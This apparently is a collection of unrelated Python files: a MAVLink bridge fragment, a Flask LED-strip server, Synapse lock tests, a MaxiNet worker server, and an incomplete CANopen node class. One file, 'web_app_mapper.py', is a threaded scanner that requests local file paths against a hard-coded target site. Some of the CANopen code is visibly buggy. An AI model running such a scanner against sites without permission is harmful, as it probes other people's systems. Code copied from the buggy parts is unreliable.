current_time_us, # us Timestamp (UNIX time or time since system boot)
sensor_type, # sensor_type, defined here: https://mavlink.io/en/messages/common.html#MAV_DISTANCE_SENSOR
distances, # distances, uint16_t[72], cm
increment, # increment, uint8_t, deg
min_distance, # min_distance, uint16_t, cm
max_distance, # max_distance, uint16_t, cm
increment_f, # increment_f, float, deg
angle_offset, # angle_offset, float, deg
mav_frame # MAV_FRAME, vehicle-front aligned: https://mavlink.io/en/messages/common.html#MAV_FRAME_BODY_FRD
)
def run_main(self):
self.sched.start()
while not self.exit_threads:
with self.lock:
for k, _ in self.keys.items():
self.data[k] = self.rb.get_key_by_string(k)
# time.sleep(0.3)
# self.conn.send_heartbeat()
# m = self.conn.get_callbacks(['HEARTBEAT'])
# if m is None:
# continue
# self.logger.log_debug("Received callback: %s" % m)
# # utils.progress(m)
def mavlink_loop(self, conn, callbacks=['HEARTBEAT']):
while not self.exit_threads:
self.conn.mav.heartbeat_send(mavutil.mavlink.MAV_TYPE_ONBOARD_CONTROLLER,
mavutil.mavlink.MAV_AUTOPILOT_GENERIC,
0,
0,
0)
m = self.conn.recv_match(type=callbacks, timeout=1, blocking=True)
if m is None:
continue
self.logger.log_debug("Received callback: %s" % m)
def send_message(self, func, key):
while not self.exit_threads:
with self.lock:
try:
value = self.data[key]
if value is not None:
func(*value)
except Exception as e:
self.logger.log_error("Could not send %s"%e)
def close_script(self):
try:
self.sched.shutdown()
self.mavlink_thread.join()
self.conn.close()
except:
pass
scripter = RedisToAPScripterExt(log_source="redis_to_ap")
scripter.run()
|
server.py
|
import time
import board
import neopixel
import threading
from flask import Flask
# Choose an open pin connected to the Data In of the NeoPixel strip, i.e. board.D18
# NeoPixels must be connected to D10, D12, D18 or D21 to work.
pixel_pin = board.D18
# The number of NeoPixels
num_pixels = 60
# The order of the pixel colors - RGB or GRB. Some NeoPixels have red and green reversed!
# For RGBW NeoPixels, simply change the ORDER to RGBW or GRBW.
ORDER = neopixel.GRB
pixels = neopixel.NeoPixel(pixel_pin, num_pixels, brightness=0.1, auto_write=False,
pixel_order=ORDER)
app = Flask(__name__)
rgb=(255,255,255)
status = 0
enableRainbow = False
def wheel(pos):
# Input a value 0 to 255 to get a color value.
# The colours are a transition r - g - b - back to r.
if pos < 0 or pos > 255:
r = g = b = 0
elif pos < 85:
r = int(pos * 3)
g = int(255 - pos*3)
b = 0
elif pos < 170:
pos -= 85
r = int(255 - pos*3)
g = 0
b = int(pos*3)
else:
pos -= 170
r = 0
g = int(pos*3)
b = int(255 - pos*3)
return (r, g, b) if ORDER == neopixel.RGB or ORDER == neopixel.GRB else (r, g, b, 0)
def rgb_to_hex(rgb):
return '#%02x%02x%02x' % rgb
def hex_to_rgb(value):
"""Return (red, green, blue) for the color given as #rrggbb."""
value = value.lstrip('#')
lv = len(value)
return tuple(int(value[i:i + lv // 3], 16) for i in range(0, lv, lv // 3))
def rainbow_cycle():
wait = 0.000001
for j in range(255):
for i in range(num_pixels):
pixel_index = (i * 256 // num_pixels) + j
pixels[i] = wheel(pixel_index & 255)
pixels.show()
time.sleep(wait)
global enableRainbow
if(enableRainbow):
rainbow_cycle()
else:
off()
@app.route("/status")
def status():
global status
return str(status)
@app.route("/bright")
def bright():
global rgb
r = round(rgb[0]/2.55,2)
g = round(rgb[1]/2.55,2)
b = round(rgb[2]/2.55,2)
x = max(r,g)
V = max(x,b)
return str(V)
@app.route("/color")
def color():
global rgb
value = rgb_to_hex(rgb)
return str(value)
@app.route("/rainbow")
def rainbow():
global enableRainbow
global status
status = 1
global rgb
pixels.fill(rgb)
pixels.show()
if(enableRainbow==False):
t = threading.Thread(target = rainbow_cycle)
t.start()
enableRainbow=True
return "on"
@app.route("/on")
def on():
global status
status = 1
global rgb
pixels.fill(rgb)
pixels.show()
return "on"
@app.route("/off")
def off():
global status
status = 0
global enableRainbow
enableRainbow=False
pixels.fill((0,0,0))
pixels.show()
return "off"
@app.route("/set/<values>")
def set(values):
global enableRainbow
enableRainbow=False
h = values
#h = values.replace("NA","0").replace("N","1")
global rgb
#rgb=hex_to_rgb(h)
rgb=tuple(int(h[i:i+2], 16) for i in (0, 2 ,4))
pixels.fill(rgb)
pixels.show()
return "ok"
|
web_app_mapper.py
|
import os
import queue
import threading
import urllib.error
import urllib.parse
import urllib.request
threads = 10
target = "http://blackhatpython.com"
directory = "."
filters = [".jpg", ".gif", "png", ".css"]
os.chdir(directory)
web_paths = queue.Queue()
for r, d, f in os.walk("."):
for files in f:
remote_path = "%s/%s" % (r, files)
if remote_path.startswith("."):
remote_path = remote_path[1:]
if os.path.splitext(files)[1] not in filters:
web_paths.put(remote_path)
def test_remote():
while not web_paths.empty():
path = web_paths.get()
url = "%s%s" % (target, path)
request = urllib.request.Request(url)
try:
response = urllib.request.urlopen(request)
print("[%d] => %s" % (response.code, path))
response.close()
except urllib.error.HTTPError as error:
print("Failed %s" % error.code)
pass
for i in range(threads):
print("Spawning thread: %d" % i)
t = threading.Thread(target=test_remote)
t.start()
|
unit_test_lock.py
|
import random
import time
from threading import Thread
from datetime import timedelta
from synapseclient.core.lock import Lock
def test_lock():
user1_lock = Lock("foo", max_age=timedelta(seconds=5))
user2_lock = Lock("foo", max_age=timedelta(seconds=5))
assert user1_lock.acquire()
assert user1_lock.get_age() < 5
assert not user2_lock.acquire()
user1_lock.release()
assert user2_lock.acquire()
assert not user1_lock.acquire()
user2_lock.release()
def test_with_lock():
user1_lock = Lock("foo", max_age=timedelta(seconds=5))
user2_lock = Lock("foo", max_age=timedelta(seconds=5))
with user1_lock:
assert user1_lock.get_age() < 5
assert not user2_lock.acquire()
with user2_lock:
assert user2_lock.acquire()
assert not user1_lock.acquire()
def test_lock_timeout():
user1_lock = Lock("foo", max_age=timedelta(seconds=1))
user2_lock = Lock("foo", max_age=timedelta(seconds=1))
with user1_lock:
assert user1_lock.held
assert user1_lock.get_age() < 1.0
assert not user2_lock.acquire(break_old_locks=True)
time.sleep(1.1)
assert user1_lock.get_age() > 1.0
assert user2_lock.acquire(break_old_locks=True)
# Try to hammer away at the locking mechanism from multiple threads
NUMBER_OF_TIMES_PER_THREAD = 3
def do_stuff_with_a_locked_resource(name, event_log):
lock = Lock("foo", max_age=timedelta(seconds=5))
for i in range(NUMBER_OF_TIMES_PER_THREAD):
with lock:
event_log.append((name, i))
time.sleep(random.betavariate(2, 5))
def test_multithreaded():
event_log = []
threads = [Thread(target=do_stuff_with_a_locked_resource, args=("thread %d" % i, event_log)) for i in range(4)]
for thread in threads:
thread.start()
for thread in threads:
thread.join()
counts = {}
for event in event_log:
counts.setdefault(event[0], set())
counts[event[0]].add(event[1])
for key in counts:
assert counts[key] == set(range(NUMBER_OF_TIMES_PER_THREAD))
|
server.py
|
#!/usr/bin/python2
import argparse
import atexit
import logging
import os
import signal
import subprocess
import sys
import tempfile
import time
from mininet.node import UserSwitch, OVSSwitch
from mininet.link import TCLink, TCIntf
from mininet.net import Mininet
import mininet.term
import Pyro4
import threading
import traceback
from MaxiNet.tools import Tools, MaxiNetConfig
from MaxiNet.WorkerServer.ssh_manager import SSH_Manager
class WorkerServer(object):
"""Manages the Worker
The WorkerServer class connects to the nameserver and registers
itself with the MaxiNetManager instance. It is used by the Cluster instances
to start mininet instances, manage the ssh daemon and run commands etc.
Attributes:
logger: logging instance
mnManager: instance of class MininetManager which is used to create mininet
instances
sshManager: instance of class SSH_Manager which is used to manage the ssh
daemon.
ssh_folder: folder which holds configuration files for the ssh daemon.
ip: ip address of Worker
"""
def __init__(self):
self._ns = None
self._pyrodaemon = None
self.logger = logging.getLogger(__name__)
self._manager = None
self.mnManager = MininetManager()
self.sshManager = None
self.ssh_folder = tempfile.mkdtemp()
atexit.register(subprocess.call, ["rm", "-rf", self.ssh_folder])
logging.basicConfig(level=logging.DEBUG)
self.ip = None
self._shutdown = False
#Pyro4.config.COMMTIMEOUT = 2
#for frontend
self._ip = None
self._port = None
self._password = None
self._looping_thread = None
def exit_handler(self, signal, frame):
# I have absolutely no clue why but without this print atexit sometimes
# doesn't seem to wait for called functions to finish...
print "exiting..."
self._shutdown = True
sys.exit()
@Pyro4.expose
def monitorFrontend(self):
""" function to monitor if the frontend is still alive.
if not, try to reconnect.
"""
while(not self._shutdown):
try:
self._manager.getStatus()
except:
if self._ip != None:
#self.ip as an indicator that this worker was connected to the frontend once.
print "Trying to reconnect to FrontendServer..."
try:
try:
self._pyrodaemon.unregister(self)
except:
pass
try:
self._pyrodaemon.unregister(self.mnManager)
except:
pass
try:
self._pyrodaemon.unregister(self.sshManager)
except:
pass
try:
self._pyrodaemon.shutdown()
except:
pass
try:
self._pyrodaemon.close()
except:
pass
self.start(self._ip, self._port, self._password)
except Exception as e:
traceback.print_exc(e)
pass
pass
time.sleep(5)
@Pyro4.expose
def start(self, ip, port, password, retry=float("inf")):
"""Start WorkerServer and ssh daemon and connect to nameserver."""
self.logger.info("starting up and connecting to %s:%d"
% (ip, port))
#store for reconnection attempts
self._ip = ip
self._port = port
self._password = password
#Pyro4.config.HMAC_KEY = password
tries=1
self._ns = None
while not self._ns:
try:
self._ns = Pyro4.locateNS(ip, port, hmac_key=password)
except Pyro4.errors.NamingError:
if tries < retry:
self.logger.warn("Unable to locate Nameserver. Trying again in 5 seconds...")
time.sleep(5)
tries += 1
else:
self.logger.error("Unable to locate Nameserver.")
sys.exit()
self.config = Pyro4.Proxy(self._ns.lookup("config"))
self.config._pyroHmacKey=password
self.ip = self.config.get_worker_ip(self.get_hostname())
if(not self.ip):
self.ip = Tools.guess_ip()
if not self.config.has_section(self.get_hostname()):
self.config.add_section(self.get_hostname())
self.config.set(self.get_hostname(), "ip", self.ip)
self.logger.warn("""FrontendServer did not know IP of this host.
Guessed: %s""" % self.ip)
self.logger.info("configuring and starting ssh daemon...")
self.sshManager = SSH_Manager(folder=self.ssh_folder, ip=self.ip, port=self.config.get_sshd_port(), user=self.config.get("all", "sshuser"))
self.sshManager.start_sshd()
self._pyrodaemon = Pyro4.Daemon(host=self.ip)
self._pyrodaemon._pyroHmacKey=password
uri = self._pyrodaemon.register(self)
self._ns.register(self._get_pyroname(), uri)
uri = self._pyrodaemon.register(self.mnManager)
self._ns.register(self._get_pyroname()+".mnManager", uri)
uri = self._pyrodaemon.register(self.sshManager)
self._ns.register(self._get_pyroname()+".sshManager", uri)
atexit.register(self._stop)
self.logger.info("looking for manager application...")
manager_uri = self._ns.lookup("MaxiNetManager")
if(manager_uri):
self._manager = Pyro4.Proxy(manager_uri)
self._manager._pyroHmacKey=self._password
self.logger.info("signing in...")
if(self._manager.worker_signin(self._get_pyroname(), self.get_hostname())):
self.logger.info("done. Entering requestloop.")
self._started = True
self._looping_thread = threading.Thread(target=self._pyrodaemon.requestLoop)
self._looping_thread.daemon = True
self._looping_thread.start()
else:
self.logger.error("signin failed.")
else:
self.logger.error("no manager found.")
def _get_pyroname(self):
return "MaxiNetWorker_%s" % self.get_hostname()
@Pyro4.expose
def get_hostname(self):
return subprocess.check_output(["hostname"]).strip()
def _stop(self):
self.logger.info("signing out...")
if(self._manager):
self._manager.worker_signout(self.get_hostname())
self.logger.info("shutting down...")
self._ns.remove(self._get_pyroname())
self._ns.remove(self._get_pyroname()+".mnManager")
self._pyrodaemon.unregister(self)
self._pyrodaemon.unregister(self.mnManager)
self._pyrodaemon.unregister(self.sshManager)
self._pyrodaemon.shutdown()
self._pyrodaemon.close()
@Pyro4.expose
def remoteShutdown(self):
self._pyrodaemon.shutdown()
@Pyro4.expose
def stop(self):
(signedin, assigned) = self._manager.get_worker_status(self.get_hostname())
if(assigned):
self.logger.warn("can't shut down as worker is still assigned to id %d" % assigned)
return False
else:
self._stop()
return True
@Pyro4.expose
def check_output(self, cmd):
"""Run cmd on Worker and return output
Args:
cmd: command to call with optional parameters
Returns:
Shell output of command
"""
self.logger.debug("Executing %s" % cmd)
return subprocess.check_output(cmd, shell=True,
stderr=subprocess.STDOUT).strip()
@Pyro4.expose
def script_check_output(self, cmd):
"""Call MaxiNet Script and return output
Args:
cmd: name of script to call
Returns:
Shell output of script
"""
# Prefix command by our worker directory
cmd = Tools.get_script_dir() + cmd
return self.check_output(cmd)
@Pyro4.expose
def run_cmd(self, command):
"""Call command (blocking)
Args:
command: command to call with optional parameters
"""
subprocess.call(command, shell=True)
@Pyro4.expose
def daemonize(self, cmd):
"""Call command (non-blocking)
Args:
command: command to call with optional parameters
"""
p = subprocess.Popen(cmd, shell=True)
atexit.register(p.terminate)
@Pyro4.expose
def daemonize_script(self, script, args):
"""Call MaxiNet Script (non-blocking)
Args:
cmd: name of script to call
"""
cmd = Tools.get_script_dir()+script+" "+args
p = subprocess.Popen(cmd, shell=True)
atexit.register(p.terminate)
class MininetManager(object):
def __init__(self):
self.logger = logging.getLogger(__name__)
self.net = None
@Pyro4.expose
def create_mininet(self, topo, tunnels=[], switch=UserSwitch,
controller=None, STT=False):
if(not self.net is None):
self.logger.warn("running mininet instance detected!\
Shutting it down...")
self.destroy_mininet()
self.logger.info("Creating mininet instance")
if controller:
self.net = Mininet(topo=topo, intf=TCIntf, link=TCLink,
switch=switch, controller=controller)
else:
self.net = Mininet(topo=topo, intf=TCIntf, link=TCLink,
switch=switch)
if STT:
self.logger.info("Starting Mininet...")
self.net.start()
self.logger.info("Adding tunnels to mininet instance")
for tunnel in tunnels:
port = None
cls = None
if "port" in tunnel[2].keys():
port = tunnel[2]["port"]
del tunnel[2]["port"]
if "cls" in tunnel[2].keys():
cls = tunnel[2]["cls"]
del tunnel[2]["cls"]
self.addTunnel(tunnel[0], tunnel[1], port, cls, STT=STT, **tunnel[2])
if not STT:
self.logger.info("Starting Mininet...")
self.net.start()
self.logger.info("Startup complete.")
self.x11popens = []
return True
@Pyro4.expose
def destroy_mininet(self):
"""shut down mininet instance"""
if self.net:
for popen in self.x11popens:
popen.terminate()
popen.communicate()
popen.wait()
self.net.stop()
self.logger.info("mininet instance terminated")
self.net = None
@Pyro4.expose
def configLinkStatus(self, src, dst, status):
self.net.configLinkStatus(src, dst, status)
@Pyro4.expose
def rpc(self, hostname, cmd, *params1, **params2):
h = self.net.get(hostname)
return getattr(h, cmd)(*params1, **params2)
@Pyro4.expose
def attr(self, hostname, name):
h = self.net.get(hostname)
return getattr(h, name)
@Pyro4.expose
def addHost(self, name, cls=None, **params):
self.net.addHost(name, cls, **params)
return name
@Pyro4.expose
def addSwitch(self, name, cls=None, **params):
self.net.addSwitch(name, cls, **params)
#TODO: This should not be done here
self.net.get(name).start(self.net.controllers)
return name
@Pyro4.expose
def addController(self, name="c0", controller=None, **params):
self.net.addController(name, controller, **params)
return name
@Pyro4.expose
def addTunnel(self, name, switch, port, intf, STT=False, **params):
switch_i = self.net.get(switch)
if not intf:
intf = TCIntf
if STT:
subprocess.check_output(["ovs-vsctl","add-port", switch, name])
else:
intf(name, node=switch_i, port=port, link=None, **params)
@Pyro4.expose
def tunnelX11(self, node, display):
node = self.net.get(node)
(tunnel, popen) = mininet.term.tunnelX11(node, display)
self.x11popens.append(popen)
@Pyro4.expose
def addLink(self, node1, node2, port1=None, port2=None, cls=None,
**params):
node1 = self.net.get(node1)
node2 = self.net.get(node2)
l = self.net.addLink(node1, node2, port1, port2, cls, **params)
return ((node1.name, l.intf1.name), (node2.name, l.intf2.name))
@Pyro4.expose
def runCmdOnHost(self, hostname, command, noWait=False):
'''
e.g. runCmdOnHost('h1', 'ifconfig')
'''
h1 = self.net.get(hostname)
if noWait:
return h1.sendCmd(command)
else:
return h1.cmd(command)
def getFrontendStatus():
config = MaxiNetConfig(register=False)
ip = config.get_nameserver_ip()
port = config.get_nameserver_port()
pw = config.get_nameserver_password()
ns = Pyro4.locateNS(ip, port, hmac_key=pw)
manager_uri = ns.lookup("MaxiNetManager")
if(manager_uri):
manager = Pyro4.Proxy(manager_uri)
manager._pyroHmacKey=pw
print manager.print_worker_status()
else:
print "Could not contact Frontend server at %s:%s" % (ip, port)
def main():
parser = argparse.ArgumentParser(description="MaxiNet Worker which hosts a mininet instance")
parser.add_argument("--ip", action="store", help="Frontend Server IP")
parser.add_argument("--port", action="store", help="Frontend Server Port", type=int)
parser.add_argument("--password", action="store", help="Frontend Server Password")
parser.add_argument("-c", "--config", metavar="FILE", action="store", help="Read configuration from FILE")
parsed = parser.parse_args()
ip = False
port = False
pw = False
if (parsed.config or
os.path.isfile("MaxiNet.cfg") or
os.path.isfile(os.path.expanduser("~/.MaxiNet.cfg")) or
os.path.isfile("/etc/MaxiNet.cfg")):
if parsed.config:
config = MaxiNetConfig(file=parsed.config,register=False)
else:
config = MaxiNetConfig(register=False)
ip = config.get_nameserver_ip()
port = config.get_nameserver_port()
pw = config.get_nameserver_password()
if parsed.ip:
ip = parsed.ip
if parsed.port:
port = parsed.port
if parsed.password:
pw = parsed.password
if os.getuid() != 0:
print "MaxiNetWorker must run with root privileges!"
sys.exit(1)
if not (ip and port and pw):
print "Please provide MaxiNet.cfg or specify ip, port and password of \
the Frontend Server."
else:
workerserver = WorkerServer()
signal.signal(signal.SIGINT, workerserver.exit_handler)
workerserver.start(ip=ip, port=port, password=pw)
workerserver.monitorFrontend()
if(__name__ == "__main__"):
main()
|
node.py
|
# TODO: OSErrors / can.CanErrors are thrown if the CAN bus goes down, need to do threaded Exception handling
# See http://stackoverflow.com/questions/2829329/catch-a-threads-exception-in-the-caller-thread-in-python
# TODO: Check for BUS-OFF before attempting to send
# TODO: NMT error handler (CiA302-2)
from binascii import crc_hqx
import can
import datetime
import io
import logging
import math
import os
import struct
import threading
import time
from .constants import *
from .indicators import *
from .messages import *
from .object_dictionary import *
logger = logging.getLogger(__name__)
class IntervalTimer(threading.Thread):
"""Call a function every specified number of seconds:
t = IntervalTimer(30.0, f, args=None, kwargs=None)
t.start()
t.cancel() # stop the timer's action if it's still running
"""
def __init__(self, interval, function, args=None, kwargs=None):
super().__init__(args=args, kwargs=kwargs, daemon=True)
self.interval = interval
self.function = function
self.args = args if args is not None else []
self.kwargs = kwargs if kwargs is not None else {}
self.finished = threading.Event()
def cancel(self):
self.finished.set()
def run(self):
next_run = time.time() + self.interval
while not self.finished.wait(next_run - time.time()):
if self.finished.is_set():
break
threading.Thread(target=self.function, args=self.args, kwargs=self.kwargs, daemon=True).start()
next_run += self.interval
class SdoAbort(Exception):
def __init__(self, index, subindex, code):
self.index = index
self.subindex = subindex
self.code = code
class SdoTimeout(Exception):
pass
class Node:
BOOT_NMT_SLAVE_IDENTITY_ERROR_CODES = {
0x1F85: "D",
0x1F86: "M",
0x1F87: "N",
0x1F88: "O"
}
SDO_TIMEOUT = 0.3
SDO_ROUND_TRIP_TIME = 222e-6
def __init__(self, bus: can.BusABC, id, od: ObjectDictionary, *args, **kwargs):
self.default_bus = bus
if id > 0x7F or id <= 0:
raise ValueError("Invalid Node ID")
self.id = id
self._default_od = od
if "err_indicator" in kwargs:
if not isinstance(kwargs["err_indicator"], ErrorIndicator):
raise TypeError
self._err_indicator = kwargs["err_indicator"]
if "redundant_err_indicator" in kwargs:
if not isinstance(kwargs["redundant_err_indicator"], ErrorIndicator):
raise TypeError
self._redundant_err_indicator = kwargs["redundant_err_indicator"]
# TODO: Move this to reset()
self._process_err_indicator()
self._err_indicator_timer = IntervalTimer(self._err_indicator.interval , self._process_err_indicator)
self._err_indicator_timer.start()
else:
self._err_indicator = None
self._err_indicator_timer = None
if "run_indicator" in kwargs:
if not isinstance(kwargs["run_indicator"], RunIndicator):
raise TypeError
self._run_indicator = kwargs["run_indicator"]
if "redundant_run_indicator" in kwargs:
if not isinstance(kwargs["redundant_run_indicator"], RunIndicator):
raise TypeError
self._redundant_run_indicator = kwargs["redundant_run_indicator"]
else:
self.redundant_run_indicator = None
else:
self._run_indicator = None
self._redundant_run_indicator = None
self._default_bus_heartbeat_disabled = False
self._emcy_inhibit_time = 0
self._first_boot = True
self._heartbeat_consumer_timers = {}
self._heartbeat_evaluation_counters = {}
self._heartbeat_evaluation_power_on_timer = None
self._heartbeat_evaluation_reset_communication_timer = None
self._heartbeat_producer_timer = None
self._listener = None
self._message_timers = []
self._nmt_active_master = False
self._nmt_active_master_id = None
self._nmt_active_master_timer = None
self._nmt_flying_master_timer = None
self._nmt_inhibit_time = 0
self._nmt_multiple_master_timer = None
self._nmt_slave_booters = {}
self._pending_emcy_msgs = []
self._redundant_listener = None
self._redundant_nmt_state = None
self._sdo_cs = None
self._sdo_data = None
self._sdo_data_type = None
self._sdo_len = None
self._sdo_odi = None
self._sdo_odsi = None
self._sdo_requests = {}
self._sdo_seqno = 0
self._sdo_t = None
self._sync_counter = 0
self._sync_timer = None
self._sync_timer_lock = threading.Lock()
self._timedelta = datetime.timedelta()
self._tpdo_inhibit_times = {}
self._tpdo_triggers = [False, False, False, False]
if "redundant_bus" in kwargs:
if not isinstance(kwargs["redundant_bus"], can.BusABC):
raise TypeError
self.redundant_bus = kwargs["redundant_bus"]
else:
self.redundant_bus = None
self.reset()
def __enter__(self):
return self
def __exit__(self, exc_type, exc_val, exc_tb):
self._reset_timers()
def _boot(self, channel=None):
if channel is None:
channel = self.active_bus.channel
logger.info("Booting on {} with node-ID of {}".format(channel, self.id))
self._send(BootupMessage(self.id), channel)
self.nmt_state = (NMT_STATE_PREOPERATIONAL, channel)
self._listener = can.Notifier(self.default_bus, [self._process_msg])
if self.redundant_bus is not None:
self._redundant_listener = can.Notifier(self.redundant_bus, [self._process_msg])
self._process_heartbeat_producer()
self._process_sync()
if channel == self.active_bus.channel:
self._nmt_startup()
@staticmethod
def _cancel_timer(timer: threading.Timer):
if timer is not None and timer.is_alive():
timer.cancel()
return True
return False
def _heartbeat_consumer_timeout(self, id):
self._heartbeat_evaluation_counters[id] = 0 # For detecting heartbeat event
self.emcy(EMCY_HEARTBEAT_BY_NODE + id)
request_nmt_obj = self.od.get(ODI_REQUEST_NMT)
if request_nmt_obj is not None:
request_nmt_subobj = request_nmt_obj.get(id)
request_nmt_subobj.value = 0x01 # CANopen device is missing
request_nmt_obj.update({id: request_nmt_subobj})
self.od.update({ODI_REQUEST_NMT: request_nmt_obj})
def _heartbeat_evaluation_power_on_timeout(self):
logger.info("Heartbeat evaluation timer (power-on) expired")
if len(self._heartbeat_evaluation_counters.values()) == 0 or max(self._heartbeat_evaluation_counters.values()) < 3: # CiA 302-6, Figure 7, event (4)
self.active_bus = self.redundant_bus
# else: CiA 302-6, Figure 7, event (1)
self._heartbeat_evaluation_counters = {}
self.send_nmt(NmtIndicateActiveInterfaceMessage())
def _heartbeat_evaluation_reset_communication_timeout(self):
logger.info("Heartbeat evaluation timer (reset communication) expired")
if self.active_bus == self.default_bus:
if len(self._heartbeat_evaluation_counters.values()) > 0 and min(self._heartbeat_evaluation_counters.values()) == 0: # CiA 302-6, Figure 7, event (6)
self.active_bus = self.redundant_bus
self.send_nmt(NmtIndicateActiveInterfaceMessage())
else:
if len(self._heartbeat_evaluation_counters.values()) > 0 and max(self._heartbeat_evaluation_counters.values()) >= 3: # CiA 302-6, Figure 7, event (8)
self.active_bus = self.default_bus
self.send_nmt(NmtIndicateActiveInterfaceMessage())
def _nmt_active_master_timeout(self, first_boot=None):
if first_boot is None:
first_boot = self._first_boot
elif first_boot is True:
logger.info("Active NMT master failure detected")
if first_boot:
logger.debug("Active NMT master timeout after power-on")
self._first_boot = False
self.send_nmt(NmtNodeControlMessage(NMT_NODE_CONTROL_RESET_COMMUNICATION, 0))
self._nmt_flying_master_startup()
else:
logger.debug("Active NMT master timeout after reboot")
self._nmt_flying_master_negotiation_request()
def _nmt_become_active_master(self):
logger.info("Device is active NMT master")
self._nmt_active_master = True
# See CiA 302-2 v4.1.0, section 5.5.3
nmt_flying_master_timing_params = self.od.get(ODI_NMT_FLYING_MASTER_TIMING_PARAMETERS)
self._cancel_timer(self._nmt_multiple_master_timer)
nmt_multiple_master_detect_time = nmt_flying_master_timing_params.get(ODSI_NMT_FLYING_MASTER_TIMING_PARAMS_DETECT_TIME).value / 1000
self._nmt_multiple_master_timer = IntervalTimer(nmt_multiple_master_detect_time, self._send, [NmtForceFlyingMasterRequest()])
self._nmt_multiple_master_timer.start()
mandatory_slaves = []
reset_communication_slaves = []
slaves_obj = self.od.get(ODI_NMT_SLAVE_ASSIGNMENT)
if slaves_obj is not None:
slaves_obj_length = slaves_obj.get(ODSI_VALUE).value
for slave_id in range(1, slaves_obj_length + 1):
slave = slaves_obj.get(slave_id).value
if (slave & 0x09) == 0x09:
mandatory_slaves += [slave_id]
if (slave & 0x10) == 0:
reset_communication_slaves += [slave_id]
if slaves_obj is None or len(reset_communication_slaves) == slaves_obj_length:
logger.debug("No keep alive nodes, reset communication to all")
self.send_nmt(NmtNodeControlMessage(NMT_NODE_CONTROL_RESET_COMMUNICATION, 0))
else:
for slave_id in reset_communication_slaves:
logger.debug("Resetting communication for slave with node-ID {}".format(slave_id))
self.send_nmt(NmtNodeControlMessage(NMT_NODE_CONTROL_RESET_COMMUNICATION, slave_id))
#Start process boot NMT slave
all_nodes_not_booted = len(mandatory_slaves)
self._nmt_boot_time_expired = False
boot_time_obj = self.od.get(ODI_BOOT_TIME)
if boot_time_obj is not None:
boot_time = boot_time_obj.get(ODSI_VALUE).value / 1000
if boot_time > 0:
self._nmt_boot_timer = threading.Timer(boot_time, self._nmt_boot_timeout)
self._nmt_boot_timer.start()
self._nmt_slave_booters = {}
for slave_id in mandatory_slaves:
self._nmt_slave_booters[slave_id] = {"thread": threading.Thread(target=self._nmt_boot_slave, args=(slave_id,), daemon=True), "status": None}
self._nmt_slave_booters[slave_id]["thread"].start()
mandatory_slaves_booted = 0
while (len(mandatory_slaves) > mandatory_slaves_booted) and not self._nmt_boot_time_expired:
mandatory_slaves_booted = 0
# Hack until self._nmt_boot_slave() is fully implemented
#for slave_id, booter in self._nmt_slave_booters:
# if booter["status"] == "OK":
# mandatory_slaves_booted += 1
request_nmt_obj = self.od.get(ODI_REQUEST_NMT)
if request_nmt_obj is not None:
for slave_id in mandatory_slaves:
slave_nmt_state = request_nmt_obj.get(slave_id)
if slave_nmt_state is not None and slave_nmt_state.value > 0x01:
mandatory_slaves_booted += 1
time.sleep(0.25)
if self._nmt_boot_time_expired:
logger.warning("NMT boot time expired before all mandatory slaves booted, halting NMT boot")
return
logger.info("All mandatory slaves booted ({})".format(mandatory_slaves_booted))
#End process boot NMT slave
nmt_startup = self.od.get(ODI_NMT_STARTUP).get(ODSI_VALUE).value
if (nmt_startup & 0x04) == 0:
logger.debug("Self-starting")
self.nmt_state = NMT_STATE_OPERATIONAL
if (nmt_startup & 0x08) == 0:
if nmt_startup & 0x02:
logger.debug("Starting all NMT slaves")
self.send_nmt(NmtNodeControlMessage(NMT_NODE_CONTROL_START, 0))
elif slaves_obj is not None:
for slave_id in range(1, slaves_obj_length + 1):
logger.debug("Starting slave ID {}".format(slave_id))
self.send_nmt(NmtNodeControlMessage(NMT_NODE_CONTROL_START, slave_id))
def _nmt_become_inactive_master(self):
logger.info("Device is not active NMT master, running in NMT slave mode")
self._nmt_active_master = False
self._cancel_timer(self._nmt_active_master_timer)
if self._nmt_active_master_id not in self._heartbeat_consumer_timers: # See CiA 302-2 v4.1.0, section 5.5.2
logger.debug("Active NMT master not in heartbeat consumers; timeout will be twice heartbeat producer time")
heartbeat_producer_time = self.od.get(ODI_HEARTBEAT_PRODUCER_TIME).get(ODSI_VALUE).value
self._nmt_active_master_timer = threading.Timer(heartbeat_producer_time * 2 / 1000, self._nmt_active_master_timeout, [True])
self._nmt_active_master_timer.start()
def _nmt_boot_slave(self, slave_id):
logger.debug("Boot NMT slave process for slave ID {}".format(slave_id))
nmt_slave_assignment = self.od.get(ODI_NMT_SLAVE_ASSIGNMENT).get(slave_id).value
if (nmt_slave_assignment & 0x01) == 0: # Is NMT slave node-ID still in network list?
logger.debug("Slave ID {} is not longer in the network list".format(slave_id))
self._nmt_slave_booters[slave_id]["status"] = "A"
return
route_d = False
route_e = True
if nmt_slave_assignment & 0x02: # Boot NMT slave?
route_e = False
slave_device_type = self._sdo_upload_request(slave_id, 0x1000, 0x00)
if slave_device_type is None:
logger.debug("Invalid response for device type from slave ID {}".format(slave_id))
self._nmt_slave_booters[slave_id]["status"] = "B"
return
slave_device_type = int.from_bytes(slave_device_type[4:8])
logger.debug("Received SDO response from slave ID {} with device type of 0x{:04X}".format(slave_id, device_type))
device_type_id_obj = self.od.get(ODI_DEVICE_TYPE_IDENTIFICATION)
if device_type_id_obj is not None:
device_type_id_subobj = device_type_id_obj.get(slave_id)
if device_type_id_subobj is not None and device_type_id_subobj.value != 0 and device_type_id_subobj.value != slave_device_type:
logger.debug("Device type mismatch for slave ID {}".format(slave_id))
self._nmt_slave_booters[slave_id]["status"] = "C"
return
for index in range(0x1F85, 0x1F89):
obj = self.od.get(index)
if obj is None: continue
subobj = obj.get(slave_id)
if subobj is not None and subobj.value != 0:
response = self._sdo_upload_request(slave_id, 0x1018, index - 0x1F84)
if response is None:
logger.debug("Invalid response from slave ID {} for index 0x{:04X}".format(slave_id, index))
self._nmt_slave_booters[slave_id]["status"] = BOOT_NMT_SLAVE_IDENTITY_ERROR_CODES[index]
return
# TODO: Route B, route_d can be set here
# Begin Route C
expected_cfg_date = 0
expected_cfg_date_obj = self.od.get(ODI_EXPECTED_CONFIGURATION_DATE)
if expected_cfg_date_obj is not None:
expected_cfg_date = expected_cfg_date_obj.get(slave_id).value
expected_cfg_time = 0
expected_cfg_time_obj = self.od.get(ODI_EXPECTED_CONFIGURATION_TIME)
if expected_cfg_time_obj is not None:
expected_cfg_time = expected_cfg_time_obj.get(slave_id).value
update_configuration = True
if expected_cfg_date != 0 and expected_cfg_time != 0:
cfg_date = self._sdo_upload_request(slave_id, 0x1020, 0x01)
